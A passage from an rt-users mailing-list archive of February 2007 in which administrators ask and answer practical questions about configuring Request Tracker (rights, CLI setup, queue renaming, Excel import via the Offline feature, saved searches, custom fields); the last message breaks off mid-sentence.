From Michael.Peer at eurac.edu  Thu Feb  1 02:52:03 2007
From: Michael.Peer at eurac.edu (Peer Michael)
Date: Thu, 1 Feb 2007 08:52:03 +0100
Subject: [rt-users] RT::CustomField -> Queue deprecated at
	(RT::Tickets:/opt/rt3/local/lib/RT/Tickets_Overlay.pm:2245)
In-Reply-To: <589c94400701310852pf98fc1ci4ae176ffc9890d6b@mail.gmail.com>
Message-ID: <EF650F471C832344BEBD07E6C0E0DB3F047F33E6@abz02be.eurac.edu>

I'm using rt-3.4.5.
 

-----Original Message-----
From: Ruslan Zakirov [mailto:ruslan.zakirov at gmail.com] 
Sent: Wednesday, 31 January, 2007 17:52
To: Peer Michael
Cc: rt-users at lists.bestpractical.com
Subject: Re: [rt-users] RT::CustomField -> Queue deprecated at
(RT::Tickets:/opt/rt3/local/lib/RT/Tickets_Overlay.pm:2245)

On 1/31/07, Peer Michael <Michael.Peer at eurac.edu> wrote:
>
>
> Greeting
>
> When i use the function
> "$tickets->LimitCustomField(CUSTOMFIELD => 'xxxx', OPERATOR => 'LIKE',

> VALUE => 'true');" i find this message in the log:
> [Wed Jan 31 15:47:34 2007] [debug]: RT::CustomField -> Queue 
> deprecated at
> (RT::Tickets:/opt/rt3/local/lib/RT/Tickets_Overlay.pm:2245)
> (/opt/rt3/lib/RT/CustomField_Overlay.pm:741)
>
> How can i avoid this message?
Update to newer version of the RT? Or at least say us what version
you're using.

>
> Thanks
>

--
Best regards, Ruslan.


From theillien at yahoo.com  Thu Feb  1 03:07:49 2007
From: theillien at yahoo.com (Mathew Snyder)
Date: Thu, 01 Feb 2007 03:07:49 -0500
Subject: [rt-users] Preferences
Message-ID: <45C19FD5.20904@yahoo.com>

I have one user that doesn't have the Preferences menu item.  He belongs to the
same group as everyone else and they do have that.  Unfortunately, our
groups/rights are so botched up right now that eliminating the offending right
is virtually impossible.

I'm guessing that ModifySelf is the right needed but I'm not sure.  Anyone know
what I need to change to make this work?

Mathew


From sholmes42 at gmail.com  Thu Feb  1 08:27:33 2007
From: sholmes42 at gmail.com (Steve Holmes)
Date: Thu, 1 Feb 2007 08:27:33 -0500
Subject: [rt-users] Preferences
In-Reply-To: <45C19FD5.20904@yahoo.com>
References: <45C19FD5.20904@yahoo.com>
Message-ID: <43be87180702010527g2e891e62u1ae083db599fc0b9@mail.gmail.com>

Yes, the ModifySelf right should do it.
Steve.

On 2/1/07, Mathew Snyder <theillien at yahoo.com> wrote:
>
> I have one user that doesn't have the Preferences menu item.  He belongs
> to the
> same group as everyone else and they do have that.  Unfortunately, our
> groups/rights are so botched up right now that eliminating the offending
> right
> is virtually impossible.
>
> I'm guessing that ModifySelf is the right needed but I'm not sure.  Anyone
> know
> what I need to change to make this work?
>
> Mathew
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>



-- 
I believe I found the missing link between animal and civilized man. It is
us. -Konrad Lorenz, ethologist, Nobel laureate (1903-1989)

We in America do not have government by the majority. We have government by
the majority who participate. -Thomas Jefferson, third US president,
architect and author (1743-1826)
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From theillien at yahoo.com  Thu Feb  1 08:29:09 2007
From: theillien at yahoo.com (Mathew)
Date: Thu, 01 Feb 2007 08:29:09 -0500
Subject: [rt-users] Preferences
In-Reply-To: <43be87180702010527g2e891e62u1ae083db599fc0b9@mail.gmail.com>
References: <45C19FD5.20904@yahoo.com>
	<43be87180702010527g2e891e62u1ae083db599fc0b9@mail.gmail.com>
Message-ID: <45C1EB25.8090601@yahoo.com>

At least I'm not going insane.  I figured that was the one.  Thanks.
I'll have to talk to the user and figure out what he's going on about as
he has the right needed.

Mathew

Steve Holmes wrote:
> Yes, the ModifySelf right should do it.
> Steve.
> 
> On 2/1/07, *Mathew Snyder* <theillien at yahoo.com
> <mailto:theillien at yahoo.com>> wrote:
> 
>     I have one user that doesn't have the Preferences menu item.  He
>     belongs to the
>     same group as everyone else and they do have that.  Unfortunately, our
>     groups/rights are so botched up right now that eliminating the
>     offending right
>     is virtually impossible.
> 
>     I'm guessing that ModifySelf is the right needed but I'm not
>     sure.  Anyone know
>     what I need to change to make this work?
> 
>     Mathew
>     _______________________________________________
>     http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
>     Community help: http://wiki.bestpractical.com
>     Commercial support: sales at bestpractical.com
>     <mailto:sales at bestpractical.com>
> 
> 
>     Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>     Buy a copy at http://rtbook.bestpractical.com
> 
> 
> 
> 
> -- 
> I believe I found the missing link between animal and civilized man. It is
> us. -Konrad Lorenz, ethologist, Nobel laureate (1903-1989)
> 
> We in America do not have government by the majority. We have government by
> the majority who participate. -Thomas Jefferson, third US president,
> architect and author (1743-1826)



From D.Obando at ehapa.de  Thu Feb  1 08:57:34 2007
From: D.Obando at ehapa.de (Obando, David DE - EV)
Date: Thu, 1 Feb 2007 14:57:34 +0100
Subject: [rt-users] multiple instances
Message-ID: <81D141237A54374E9E79CF14F96612A3AC74D6@TXLEVD1-XCH03.ev.egmont.com>


Dear all,

I'm using RT for about two years now and I like to upgrade it and adapt it to our changed requirements. The upgrade from 3.4.1 (Debian Sarge, self installed) to 3.6.1 (Debian Etch, deb) is not a big thing, upgrading the database worked without any problems.

My old system was one instance for one company, now I want to change it into a system for up to four partner companies. The different companies should only see there own environment, only the dispatchers in the IT should see all tickets from any company.
What is the smartest way to do it? Should I setup multiple instances as described in http://wiki.bestpractical.com/index.cgi?MultipleInstances? Another way might be to use one instance and distinguish the users on there email address (user1 at company1.com, user2 at company2.com,...)?

Thanks for your advice!
David


David Obando
Webmaster/Systemadministrator
Egmont Ehapa Verlag GmbH
Wallstra?e 59
10179 Berlin
Germany
Phone: +49 30 240080
Direct: +49 30 24008361
Mobil: +49 172 1548386
Fax:  +49 30 24008369
d.obando at ehapa.de
www.ehapa.de <http://www.ehapa.de/> 

Gesch?ftsf?hrer: Frank Knau, Karl Skovb?ch Pedersen | Handelsregister: HRB 81977 AG Berlin-Charlottenburg | Sitz der Gesellschaft: Berlin

EGMONT


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From sturner at MIT.EDU  Thu Feb  1 09:10:55 2007
From: sturner at MIT.EDU (Stephen Turner)
Date: Thu, 01 Feb 2007 09:10:55 -0500
Subject: [rt-users] Some thoughts on the Quick Search list
In-Reply-To: <200701310141.l0V1f6d5019160@remora.cc.uic.edu>
References: <200701310141.l0V1f6d5019160@remora.cc.uic.edu>
Message-ID: <45C1F4EF.6070008@mit.edu>

Bob Goldstein wrote:
>>
>>
>> On Wed, Jan 31, 2007 at 10:04:39AM +1100, Taan Lindemans wrote:
>>> Does anybody else think it would be useful if the Quick Search list 
>>> could be modified to include saved searches on a per user basis?
>> I think that this might want to be another portlet, but I'd love to see
>> it happen. 
> 
> 
>   There is something similar at http://www.cs.kent.ac.uk/people/staff/tdb/rt3/
>   At the bottom, there is a set of callbacks, one of which puts a list
>   of saved searches in the left navigation column.  (I know I found out
>   about this from the wiki, but I can't find the reference on
>   the wiki right now.)  FWIW, we really like these; the colorizing
>   and a couple extra menu options add a very nice polish to the experience.
> 
>   (I didn't write these, I just like them.  Tim Bishop gets the credit.)
> 
>     bobg
> 
> 
>>> This way you could display summaries of categorized (by custom field) 
>>> tickets without displaying a list of tickets. This would make for a more 
>>> versatile rt dashboard. Of coarse you could set up a separate queue for 
>>> each category but this is overkill in some situations such as having one 
>>> queue for software issues with categories for bugs, feature requests etc.
>>>
>>> I don't know how difficult this is to implement however.
>>>
>>> Taan
>>> _______________________________________________
>>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>>
>>> Community help: http://wiki.bestpractical.com
>>> Commercial support: sales at bestpractical.com
>>>
>>>
>>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
>>> Buy a copy at http://rtbook.bestpractical.com
>>>
>> -- 
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>
>> Community help: http://wiki.bestpractical.com
>> Commercial support: sales at bestpractical.com
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
>> Buy a copy at http://rtbook.bestpractical.com
>>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com
> 

The Home Page Saved Searches contrib could be adapted to do this - 
http://wiki.bestpractical.com/index.cgi?HomePageSavedSearches

Steve


From caralomi at hotmail.com  Thu Feb  1 09:27:16 2007
From: caralomi at hotmail.com (Carlos Ramon Lopez Midence)
Date: Thu, 01 Feb 2007 09:27:16 -0500
Subject: [rt-users] Logging out is in a loop or something
Message-ID: <BAY111-F2523EB2936F6B19CC631AAD9A40@phx.gbl>

Hello all:

I have installed the Packaged version of RT-3.6.3-1fc from Fedora Core 6 
everything seems to work fine except that when I try to click on the logout 
button it shows the screen that says " You are logging out now,  You may log 
back again" and brings me to the home page, it doesn't log me out as it 
should, just keep getting this loop back to home page....

If this issue has been discussed before I apologize....Thanks for any help


Carlos

_________________________________________________________________
Valentine?s Day -- Shop for gifts that spell L-O-V-E at MSN Shopping 
http://shopping.msn.com/content/shp/?ctId=8323,ptnrid=37,ptnrdata=24095&tcode=wlmtagline



From Steve_McStravick at BreconRidge.com  Thu Feb  1 09:12:28 2007
From: Steve_McStravick at BreconRidge.com (Steve_McStravick at BreconRidge.com)
Date: Thu, 1 Feb 2007 09:12:28 -0500
Subject: [rt-users] Re: Getting data from Excel into RT?
In-Reply-To: <20070131232521.76D244D821C@diesel.bestpractical.com>
Message-ID: <OF255B1A28.2A4C7E6D-ON85257275.004C253D-85257275.004E0BF8@breconridge.com>





I found http://wiki.bestpractical.com/index.cgi?ManualApprovals as a good
source for the format you are looking for, it gives a list of Acceptable
fields.
You'll have to parse the Excel data somehow.  When I did it I took a
flatfile and imported into a database table, then wrote a query that output
the correct format.
Once you have the format you can use the "Offline" feature in RT.  Make
sure you turn off the RT mail server before starting the import, otherwise
all of the ticket requestors will get mail sent to them.

Basically the format for using the "Offline" feature is :

===Create-Ticket: <identifier> (basically here I just used a sequential
number, it doesn't relate to the RT ticket #)
Subject: <subject>
Queue: <RT_Queue name> (you can leave this out and identify the queue on
the Offline screen if they're all going to the same queue)
Requestor : <email address>
.... (here you can add whatever other items you want to populated (Owner,
Status, CustomField-<id#>, etc..whatever you see in the "Acceptable fields
" from the document)
Content-Type: text/plain
Content:
<the text portion of your ticket>
ENDOFCONTENT

Steve




                                                                           
             rt-users-request@                                             
             lists.bestpractic                                             
             al.com                                                     To 
             Sent by:                  rt-users at lists.bestpractical.com    
             rt-users-bounces@                                          cc 
             lists.bestpractic                                             
             al.com                                                Subject 
                                       RT-Users Digest, Vol 34, Issue 70   
                                                                           
             01/31/2007 06:25                                              
             PM                                                            
                                                                           
                                                                           
             Please respond to                                             
             rt-users at lists.be                                             
              stpractical.com                                              
                                                                           
                                                                           




>Greetings,

>We've got a spreadsheet (hand-produced, not created by RT) that has a
>number of projects which we would like to convert into RT tickets. I've
>searched the RT users mailing list to see if anyone has attempted
>something like this, and I have found a few messages where people
>suggest using the "offline" feature in RT. However, I haven't been able
>to find any documentation on how to make use of this feature. Can anyone
>give me some pointers on either where to look for more detailed
>information, or suggestions on another way to get Excel data into RT?

>Thanks,

>Peter








From paddy.newman at db.com  Thu Feb  1 10:09:30 2007
From: paddy.newman at db.com (Paddy Newman)
Date: Thu, 1 Feb 2007 15:09:30 +0000
Subject: [rt-users] rt create -t group set Name="New group"
Message-ID: <OF4D38CB44.964F27BC-ON80257275.0052AF37-80257275.0053446F@db.com>

Hello,

I'm using RT 3.6.3. I can use the command line tool to create queues but 
not groups. Is it possible to create groups from the command line tool, or 
am I just doing something wrong. I'm logged in as the RT root user. Here's 
the output I get from the command line tool:

rt> create -t queue set Name="Support"
# Queue 36 created.
rt> create -t group set Name="Support group"
# Unknown object type: group

id: group/new
name: Support group
rt> 

Thanks,

Paddy Newman

---

This e-mail may contain confidential and/or privileged information. If you 
are not the intended recipient (or have received this e-mail in error) 
please notify the sender immediately and destroy this e-mail. Any 
unauthorized copying, disclosure or distribution of the material in this 
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From shildreth at allantgroup.com  Thu Feb  1 09:53:08 2007
From: shildreth at allantgroup.com (Scott T. Hildreth)
Date: Thu, 01 Feb 2007 08:53:08 -0600
Subject: [rt-users] Bug... maybe
Message-ID: <1170341588.9393.1086.camel@scotth.emsphone.com>

This is was occurring on 3.6.0 & 3.6.3.

A user created a queue 'Foo & Bar'.  When "RT at a glance" page
came up, you can see the queue in the Quick Search box.  If it is
clicked none of the tickets would show up, but if a search is done
with "Queue is Foo & Bar" the tickets would be displayed.  I finally
figured out it was the '&' causing the problem.  I renamed the queue
and all is well.  Is the '&' causing html problems?  Should there be
a constraint on queue names that doesn't allow certain characters?

Thanks.

-- 
Scott T. Hildreth <shildreth at allantgroup.com>


From shildreth at allantgroup.com  Thu Feb  1 10:17:48 2007
From: shildreth at allantgroup.com (Scott T. Hildreth)
Date: Thu, 01 Feb 2007 09:17:48 -0600
Subject: [rt-users] Rename Queues
Message-ID: <1170343068.9393.1095.camel@scotth.emsphone.com>

I renamed a Queue, but the old Queue name is in the drop down list
for the Search page.  I tried stopping & starting Apache, but the
old Queue name is still in the drop down list.  Is this a cache that
needs to be cleaned out?

Thanks.

-- 
Scott T. Hildreth <shildreth at allantgroup.com>


From sturner at MIT.EDU  Thu Feb  1 10:20:51 2007
From: sturner at MIT.EDU (Stephen Turner)
Date: Thu, 01 Feb 2007 10:20:51 -0500
Subject: [rt-users] Rename Queues
In-Reply-To: <1170343068.9393.1095.camel@scotth.emsphone.com>
References: <1170343068.9393.1095.camel@scotth.emsphone.com>
Message-ID: <45C20553.3000101@mit.edu>

Scott T. Hildreth wrote:
> I renamed a Queue, but the old Queue name is in the drop down list
> for the Search page.  I tried stopping & starting Apache, but the
> old Queue name is still in the drop down list.  Is this a cache that
> needs to be cleaned out?
> 
> Thanks.
> 

Does log out/in do it?

Steve


From shildreth at allantgroup.com  Thu Feb  1 10:34:46 2007
From: shildreth at allantgroup.com (Scott T. Hildreth)
Date: Thu, 01 Feb 2007 09:34:46 -0600
Subject: [rt-users] Rename Queues
In-Reply-To: <45C20553.3000101@mit.edu>
References: <1170343068.9393.1095.camel@scotth.emsphone.com>
	<45C20553.3000101@mit.edu>
Message-ID: <1170344086.9393.1101.camel@scotth.emsphone.com>

On Thu, 2007-02-01 at 10:20 -0500, Stephen Turner wrote:
> Scott T. Hildreth wrote:
> > I renamed a Queue, but the old Queue name is in the drop down list
> > for the Search page.  I tried stopping & starting Apache, but the
> > old Queue name is still in the drop down list.  Is this a cache that
> > needs to be cleaned out?
> > 
> > Thanks.
> > 
> 
> Does log out/in do it?

Yep... :-)


Thanks.  
> 
> Steve
-- 
Scott T. Hildreth <shildreth at allantgroup.com>


From Michael.Peer at eurac.edu  Thu Feb  1 10:37:21 2007
From: Michael.Peer at eurac.edu (Peer Michael)
Date: Thu, 1 Feb 2007 16:37:21 +0100
Subject: [rt-users] Some thoughts on the Quick Search list
In-Reply-To: <45C1F4EF.6070008@mit.edu>
Message-ID: <EF650F471C832344BEBD07E6C0E0DB3F047F3502@abz02be.eurac.edu>

Hi

With this diffs I added the SavedSearch in the Home-site. It works, but
some times I recive the following error: 

System error
error: 	RT::Attribute::Name Unimplemented in RT::Attributes.
(/opt/rt3/lib/RT/Attributes_Overlay.pm line 81) 
	
context: 	... 		
	492: 	else {	
	493: 	my ( $package, $filename, $line );	
	494: 	( $package, $filename, $line ) = caller;	
	495: 		
	496: 	die "$AUTOLOAD Unimplemented in $package. ($filename
line $line) \n";	
	497: 	}	
	498: 		
	499: 	}	
	500: 		
	... 		
code stack:
/usr/lib/perl5/site_perl/5.8.5/DBIx/SearchBuilder/Record.pm:496
/opt/rt3/lib/RT/Attributes_Overlay.pm:81
/opt/rt3/lib/RT/Attributes_Overlay.pm:73
/opt/rt3/lib/RT/Attributes_Overlay.pm:88
/opt/rt3/lib/RT/Attributes_Overlay.pm:119
/opt/rt3/share/html/Search/Elements/SelectSearchesForObjects:58
/opt/rt3/local/html/index.html:97
/opt/rt3/local/html/autohandler:242


What du you think about?

Michael Peer






 

-----Original Message-----
From: rt-users-bounces at lists.bestpractical.com
[mailto:rt-users-bounces at lists.bestpractical.com] On Behalf Of Stephen
Turner
Sent: Thursday, 01 February, 2007 15:11
To: Bob Goldstein
Cc: rt-users at lists.bestpractical.com
Subject: Re: [rt-users] Some thoughts on the Quick Search list

Bob Goldstein wrote:
>>
>>
>> On Wed, Jan 31, 2007 at 10:04:39AM +1100, Taan Lindemans wrote:
>>> Does anybody else think it would be useful if the Quick Search list 
>>> could be modified to include saved searches on a per user basis?
>> I think that this might want to be another portlet, but I'd love to 
>> see it happen.
> 
> 
>   There is something similar at
http://www.cs.kent.ac.uk/people/staff/tdb/rt3/
>   At the bottom, there is a set of callbacks, one of which puts a list
>   of saved searches in the left navigation column.  (I know I found
out
>   about this from the wiki, but I can't find the reference on
>   the wiki right now.)  FWIW, we really like these; the colorizing
>   and a couple extra menu options add a very nice polish to the
experience.
> 
>   (I didn't write these, I just like them.  Tim Bishop gets the 
> credit.)
> 
>     bobg
> 
> 
>>> This way you could display summaries of categorized (by custom 
>>> field) tickets without displaying a list of tickets. This would make

>>> for a more versatile rt dashboard. Of coarse you could set up a 
>>> separate queue for each category but this is overkill in some 
>>> situations such as having one queue for software issues with
categories for bugs, feature requests etc.
>>>
>>> I don't know how difficult this is to implement however.
>>>
>>> Taan
>>> _______________________________________________
>>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>>
>>> Community help: http://wiki.bestpractical.com Commercial support: 
>>> sales at bestpractical.com
>>>
>>>
>>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.

>>> Buy a copy at http://rtbook.bestpractical.com
>>>
>> --
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>
>> Community help: http://wiki.bestpractical.com Commercial support: 
>> sales at bestpractical.com
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
>> Buy a copy at http://rtbook.bestpractical.com
>>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com Commercial support: 
> sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com
> 

The Home Page Saved Searches contrib could be adapted to do this -
http://wiki.bestpractical.com/index.cgi?HomePageSavedSearches

Steve
_______________________________________________
http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users

Community help: http://wiki.bestpractical.com Commercial support:
sales at bestpractical.com


Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
Buy a copy at http://rtbook.bestpractical.com


From shildret at scotth.emsphone.com  Thu Feb  1 10:26:20 2007
From: shildret at scotth.emsphone.com (Scott T. Hildreth)
Date: Thu, 01 Feb 2007 09:26:20 -0600
Subject: [rt-users] Rename Queues
In-Reply-To: <1170343068.9393.1095.camel@scotth.emsphone.com>
References: <1170343068.9393.1095.camel@scotth.emsphone.com>
Message-ID: <1170343580.9393.1099.camel@scotth.emsphone.com>

On Thu, 2007-02-01 at 09:17 -0600, Scott T. Hildreth wrote:
> I renamed a Queue, but the old Queue name is in the drop down list
> for the Search page.  I tried stopping & starting Apache, but the
> old Queue name is still in the drop down list.  Is this a cache that
> needs to be cleaned out?
> 

http://wiki.bestpractical.com/index.cgi?CleanMasonCache

Well I tried this and the old name still shows up in the drop down list.

> Thanks.
> 
-- 
Scott T. Hildreth <shildret at scotth.emsphone.com>


From tnguyen at sherweb.com  Thu Feb  1 11:04:17 2007
From: tnguyen at sherweb.com (tnguyen at sherweb.com)
Date: Thu, 1 Feb 2007 11:04:17 -0500
Subject: [rt-users] Notifications problem 
Message-ID: <A544871963B4DA4CB7E8F7AA34458D4308867A@ihebe01.ihostexchange.com>

Hi all,

On creation of a ticket, I'd like a group of users to be notified about
new tickets. Then I want only the ticket owner to be notified of future
correspondence.

How can I do that? 

Would rt-notify-group do the job? If yes is it possible to launch it
through a scrip?  

Also the utility doesn't seem to be part of my distribution (RT 3.4.5
Fedora RPM)...


Regards,
Thibaut




From jjames at mango-solutions.com  Thu Feb  1 10:13:58 2007
From: jjames at mango-solutions.com (John James)
Date: Thu, 1 Feb 2007 15:13:58 -0000
Subject: [rt-users] Server error: Not Found (404)
In-Reply-To: <45C1F4EF.6070008@mit.edu>
References: <200701310141.l0V1f6d5019160@remora.cc.uic.edu>
	<45C1F4EF.6070008@mit.edu>
Message-ID: <00aa01c74613$9913e7d0$140aa8c0@MangoSolutions.local>

Hi

Just started running RT 3.6.1, web and email fine AFAIK, but I cannot get
the CLI to work.

My .rtrc file is:

ser    John
server  http://jupiter:88
passwd  XXXXXX

but when I execute /opt/rt/bin/rt I get:

rt: show: No objects specified.
rt: For help, run 'rt help show'.
rt> rt list "Status = 'new'"
rt: Server error: Not Found (404)
john at jupiter:~>

It doesn't ask for my password, so I assume the .rtrc file is read OK (if
the passwd is missing, I'm prompted)

Any ideas??

John




From mike.peachey at jennic.com  Thu Feb  1 11:45:59 2007
From: mike.peachey at jennic.com (Mike Peachey)
Date: Thu, 01 Feb 2007 16:45:59 +0000
Subject: [rt-users] Server error: Not Found (404)
In-Reply-To: <00aa01c74613$9913e7d0$140aa8c0@MangoSolutions.local>
References: <200701310141.l0V1f6d5019160@remora.cc.uic.edu>	<45C1F4EF.6070008@mit.edu>
	<00aa01c74613$9913e7d0$140aa8c0@MangoSolutions.local>
Message-ID: <45C21947.70107@jennic.com>

I also could not get this to work and spent a great deal of time trying
to get it to work, and none of the ways to give it a .rtrc file worked
for me. In the end, since I was running it from a perl script, I had no
choice but to run `export RTSERVER=http://foo.bar;export RTUSER=foo; rt
show foobar`

John James wrote:
> Hi
> 
> Just started running RT 3.6.1, web and email fine AFAIK, but I cannot get
> the CLI to work.
> 
> My .rtrc file is:
> 
> ser    John
> server  http://jupiter:88
> passwd  XXXXXX
> 
> but when I execute /opt/rt/bin/rt I get:
> 
> rt: show: No objects specified.
> rt: For help, run 'rt help show'.
> rt> rt list "Status = 'new'"
> rt: Server error: Not Found (404)
> john at jupiter:~>
> 
> It doesn't ask for my password, so I assume the .rtrc file is read OK (if
> the passwd is missing, I'm prompted)
> 
> Any ideas??
> 
> John
> 
> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com

-- 
Kind Regards,

___________________________________________________

Mike Peachey, IT
Tel: +44 (0) 114 281 2655
Fax: +44 (0) 114 281 2951
Jennic Ltd, Furnival Street, Sheffield, S1 4QT,  UK
http://www.jennic.com
Confidential
___________________________________________________


From jjames at mango-solutions.com  Thu Feb  1 12:27:06 2007
From: jjames at mango-solutions.com (John James)
Date: Thu, 1 Feb 2007 17:27:06 -0000
Subject: [rt-users] Server error: Not Found (404)
In-Reply-To: <45C21947.70107@jennic.com>
References: <200701310141.l0V1f6d5019160@remora.cc.uic.edu>	<45C1F4EF.6070008@mit.edu><00aa01c74613$9913e7d0$140aa8c0@MangoSolutions.local>
	<45C21947.70107@jennic.com>
Message-ID: <010901c74626$32478d00$140aa8c0@MangoSolutions.local>

Thanks to Mike's comment I sorted it:

The mail gateway doesn't use DNS. I had to use the actual (remote) ip in the
address

export RTSERVER=http://123.123.123.123:88

Cheers

John




-----Original Message-----
From: Mike Peachey [mailto:mike.peachey at jennic.com] 
Sent: 01 February 2007 16:46
Cc: rt-users at lists.bestpractical.com
Subject: Re: [rt-users] Server error: Not Found (404)

I also could not get this to work and spent a great deal of time trying
to get it to work, and none of the ways to give it a .rtrc file worked
for me. In the end, since I was running it from a perl script, I had no
choice but to run `export RTSERVER=http://foo.bar;export RTUSER=foo; rt
show foobar`

John James wrote:
> Hi
> 
> Just started running RT 3.6.1, web and email fine AFAIK, but I cannot get
> the CLI to work.
> 
> My .rtrc file is:
> 
> ser    John
> server  http://jupiter:88
> passwd  XXXXXX
> 
> but when I execute /opt/rt/bin/rt I get:
> 
> rt: show: No objects specified.
> rt: For help, run 'rt help show'.
> rt> rt list "Status = 'new'"
> rt: Server error: Not Found (404)
> john at jupiter:~>
> 
> It doesn't ask for my password, so I assume the .rtrc file is read OK (if
> the passwd is missing, I'm prompted)
> 
> Any ideas??
> 
> John
> 
> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com

-- 
Kind Regards,

___________________________________________________

Mike Peachey, IT
Tel: +44 (0) 114 281 2655
Fax: +44 (0) 114 281 2951
Jennic Ltd, Furnival Street, Sheffield, S1 4QT,  UK
http://www.jennic.com
Confidential
___________________________________________________
_______________________________________________
http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users

Community help: http://wiki.bestpractical.com
Commercial support: sales at bestpractical.com


Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
Buy a copy at http://rtbook.bestpractical.com



From mike.peachey at jennic.com  Thu Feb  1 12:32:44 2007
From: mike.peachey at jennic.com (Mike Peachey)
Date: Thu, 01 Feb 2007 17:32:44 +0000
Subject: [rt-users] Server error: Not Found (404)
In-Reply-To: <010901c74626$32478d00$140aa8c0@MangoSolutions.local>
References: <200701310141.l0V1f6d5019160@remora.cc.uic.edu>	<45C1F4EF.6070008@mit.edu><00aa01c74613$9913e7d0$140aa8c0@MangoSolutions.local>
	<45C21947.70107@jennic.com>
	<010901c74626$32478d00$140aa8c0@MangoSolutions.local>
Message-ID: <45C2243C.9020309@jennic.com>

Regardless, this doesn't deal with the issue that in rt-3.6.1 .rtrc
implementation doesn't *seem* to work, and I'd love to know if anyone
knows why..

For reference, John, you don't store the password in the .rtrc or pass
it as an environment variable, you manually run it once as whatever user
rt will run as and it will ask you for the password, once done it
creates a .rt_sessions file in that user's home directory and doesn't
ask for the password again for that user -- or at least that's how it's
worked for me.

John James wrote:
> Thanks to Mike's comment I sorted it:
> 
> The mail gateway doesn't use DNS. I had to use the actual (remote) ip in the
> address
> 
> export RTSERVER=http://123.123.123.123:88
> 
> Cheers
> 
> John
> 
> 
> 
> 
> -----Original Message-----
> From: Mike Peachey [mailto:mike.peachey at jennic.com] 
> Sent: 01 February 2007 16:46
> Cc: rt-users at lists.bestpractical.com
> Subject: Re: [rt-users] Server error: Not Found (404)
> 
> I also could not get this to work and spent a great deal of time trying
> to get it to work, and none of the ways to give it a .rtrc file worked
> for me. In the end, since I was running it from a perl script, I had no
> choice but to run `export RTSERVER=http://foo.bar;export RTUSER=foo; rt
> show foobar`
> 
> John James wrote:
>> Hi
>>
>> Just started running RT 3.6.1, web and email fine AFAIK, but I cannot get
>> the CLI to work.
>>
>> My .rtrc file is:
>>
>> ser    John
>> server  http://jupiter:88
>> passwd  XXXXXX
>>
>> but when I execute /opt/rt/bin/rt I get:
>>
>> rt: show: No objects specified.
>> rt: For help, run 'rt help show'.
>> rt> rt list "Status = 'new'"
>> rt: Server error: Not Found (404)
>> john at jupiter:~>
>>
>> It doesn't ask for my password, so I assume the .rtrc file is read OK (if
>> the passwd is missing, I'm prompted)
>>
>> Any ideas??
>>
>> John
>>
>>
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>
>> Community help: http://wiki.bestpractical.com
>> Commercial support: sales at bestpractical.com
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
>> Buy a copy at http://rtbook.bestpractical.com
> 

-- 
Kind Regards,

___________________________________________________

Mike Peachey, IT
Tel: +44 (0) 114 281 2655
Fax: +44 (0) 114 281 2951
Jennic Ltd, Furnival Street, Sheffield, S1 4QT,  UK
http://www.jennic.com
Confidential
___________________________________________________


From alisond at inf.ed.ac.uk  Thu Feb  1 12:10:52 2007
From: alisond at inf.ed.ac.uk (Alison Downie)
Date: Thu, 1 Feb 2007 17:10:52 +0000 (GMT)
Subject: [rt-users] Custom fields are not being displayed
Message-ID: <Pine.LNX.4.64.0702011701370.725@bambam.inf.ed.ac.uk>


I am trying to upgrade from 3.0.8 to 3.6.1 and it all looked OK apart from 
not being able to see any Custom Fields when I display a ticket. Despite 
giving myself the appropriate rights (AdminCustomField etc) I cannot 
perform any configuration on them either. I am running on fc5, perl 
version 5.8.8-5, apache 1.3 and mysql 5.0.27. When I check the rt3 
database using mysql, both the CustomFields and CustomFieldValues tables 
appear to be populated correctly.

I'm sure I'm missing something obvious but can anyone shed some light on 
this ?

Thanks,

Alison

-- 
++++++++++++++++++++++++++++++++++++++++++++++
Alison Downie, Computing Officer
School of Informatics, University of Edinburgh
Room B21, 5 Forrest Hill, EDINBURGH, EH1 2QL

Tel: 650 3095
++++++++++++++++++++++++++++++++++++++++++++++


From jra at baylink.com  Thu Feb  1 12:56:03 2007
From: jra at baylink.com (Jay R. Ashworth)
Date: Thu, 1 Feb 2007 12:56:03 -0500
Subject: [rt-users] RT State of the Onion?
Message-ID: <20070201175603.GB18831@cgi.jachomes.com>

It's been a while since I've looked at RT.  The last time I tried to
